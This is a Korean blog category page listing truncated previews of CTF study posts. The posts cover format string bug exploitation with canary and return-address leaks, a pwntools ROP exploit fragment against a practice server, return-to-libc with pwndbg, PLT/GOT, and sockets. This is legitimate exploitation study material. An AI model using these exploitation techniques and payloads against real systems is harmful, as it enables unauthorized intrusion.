Layer7(18)
-
FSB 문제 풀이 (2)
- 소스코드 분석 0x20 크기의 char형 배열 format이 선언되어있습니다. 이 배열에 길이 10만큼 입력을 받고, printf() 함수로 출력합니다. 그런데, 여기서 printf() 함수에 format string이 없으니 FSB 취약점이 발생합니다. 그리고 read() 함수로 다시 입력을 받습니다. 소스코드 분석은 이 정도면 된 것 같습니다. 이번 문제는 저번 문제와는 다르게 Stack Canary 보호 기법이 걸려있습니다. 이에 초점을 맞춰서 아이디어를 짜보겠습니다. - RSI, RDX, RCX, R8, R9 5개 + ret 1개 + sfp 직전 (0x20/8) + sfp 1개 = 11개 -> return address값 leak - RSI, RDX, RCX, R8, R9 5개 + Canary..
2021.08.03 -
FSB 문제 풀이 (1)
- 소스코드 분석 우선 format이라는 크기 0x10 크기의 char형 배열이 있습니다. 이 배열에 입력을 받고, printf() 함수로 출력을 해준 뒤에 다시 read로 입력을 받습니다. 그런데 여기서 printf() 함수를 보면 포맷 스트링이 없는 것을 볼 수 있습니다. 포맷 스트링이 없다는 건 FSB 취약점이 발생한다는 거죠. 소스코드 자체는 간단해서 이 정도만 분석해도 될 것 같습니다. 이제 return address에 있는 값을 leak 해보겠습니다. 우선 레지스터의 개수는 RSI, RDX, RCX, R8, R9 이렇게 5개가 있습니다. 여기에 ret의 위치를 1개 더하면 6이 됩니다. 그리고 sfp 직전까지 가야 하니 6에 (0x10/8)을 더합니다. 그러면 8이 되고, 거기에 sfp의 크기..
2021.08.01 -
여러가지 ROP 문제 풀이
- rop32 풀이 from pwn import * p=remote('sunrin.site', 9003) e=ELF('./rop32') libc=ELF('./libc.so.6.rop32') read=libc.symbols['read'] read_got=e.got['read'] read_plt=e.plt['read'] main=e.symbols['main'] system=libc.symbols['system'] bss=e.bss() printf_plt=e.plt['printf'] pr=0x0804855b payload='A'*0x3a+'B'*4 payload+=p32(printf_plt)+p32(pr)+p32(read_got) payload+=p32(read_plt) payload+=p32(main)+p3..
2021.08.01 -
Pwndbg 동적 디버깅으로 RTL 32bit, RTL 64bit 풀기 - Ubuntu Linux
- RTL 32bit 풀이 이 문제에서는 아래와 같이 rtl32_1이라는 실행파일이 주어집니다. memset() 함수로 buf를 정리해주고, printf()로 "Input me : "라는 문자열을 출력해줍니다. 다음 줄에서 read() 함수로 0x58(10진수로 88)만큼 buf를 입력받습니다. 그런데 위에서 선언된 buf를 보면 크기가 0x48(10진수로 72)이므로, 이 부분에서 BOF가 일어난다는걸 알 수 있습니다. payload를 구상해보면 'a'를 buf 크기(0x48)만큼 + sfp 4 + system + dummy 4 + /bin/sh 정도로 구성 될 것 같습니다. system과 /bin/sh를 어떻게 실행시켜야할까....하고 고민하다가 IDA로 파일 안에 있는 모든 문자열을 열어보았습니다...
2021.07.19 -
PLT와 GOT
- PLT란? PLT는 *Procedure Linkage Table의 약자입니다. 파일 내부가 아닌 다른 외부 *라이브러리의 함수를 호출할 때 연결을 해주는 테이블입니다. * 리턴 값이 없는 함수 * 소프트웨어를 개발할 때 컴퓨터 프로그램이 사용하는 비휘발성 자원의 모임 이렇게 정의만 말하면 조금 어렵게 느껴질 수도 있습니다. 추가적인 설명과 함께 예시를 들어보겠습니다. 우선 PLT가 필요한 상황과 필요하지 않은 상황이 있습니다. Dynamic Link를 할 때는 PLT가 필요하고, Static Link를 할 때는 PLT가 필요하지 않습니다. 그 이유는 무엇일까요? Static Link는 Link 단계에서 라이브러리를 바이너리에 포함시킵니다. 그 말인 즉슨, 별도의 외부 파일이나 라이브러리가 없어도 실행..
2021.07.17 -
Socket Programming
- 소켓(Socket)이란? 소켓의 사전적 정의는 "컴퓨터 네트워크를 경유하는 프로세스 간 통신의 종착점"입니다. 이를 간단하게 풀어 생각하면 데이터를 송수신 할 때 쓰이는 하나의 방이라고 생각하면 될 것 같습니다. - Socket과 http의 차이 둘의 차이를 표로 정리하여 비교해보면 이렇습니다. Socket http 단방향 통신(Client->Server) 양방향 통신 서버로 접근해야 할 때 용이 실시간 연결 할 때 용이 자원을 적게 소모 자원을 많이 소모 소켓은 여러가지 분야에 널리 사용됩니다. - 서버와 클라이언트의 소켓통신 과정 (소켓 프로그래밍) socket() 함수를 사용하여 소켓을 생성해줍니다. 그리고 서버에서 bind() 함수를 사용합니다. bind() 함수는 client가 아닌 serv..
2021.06.14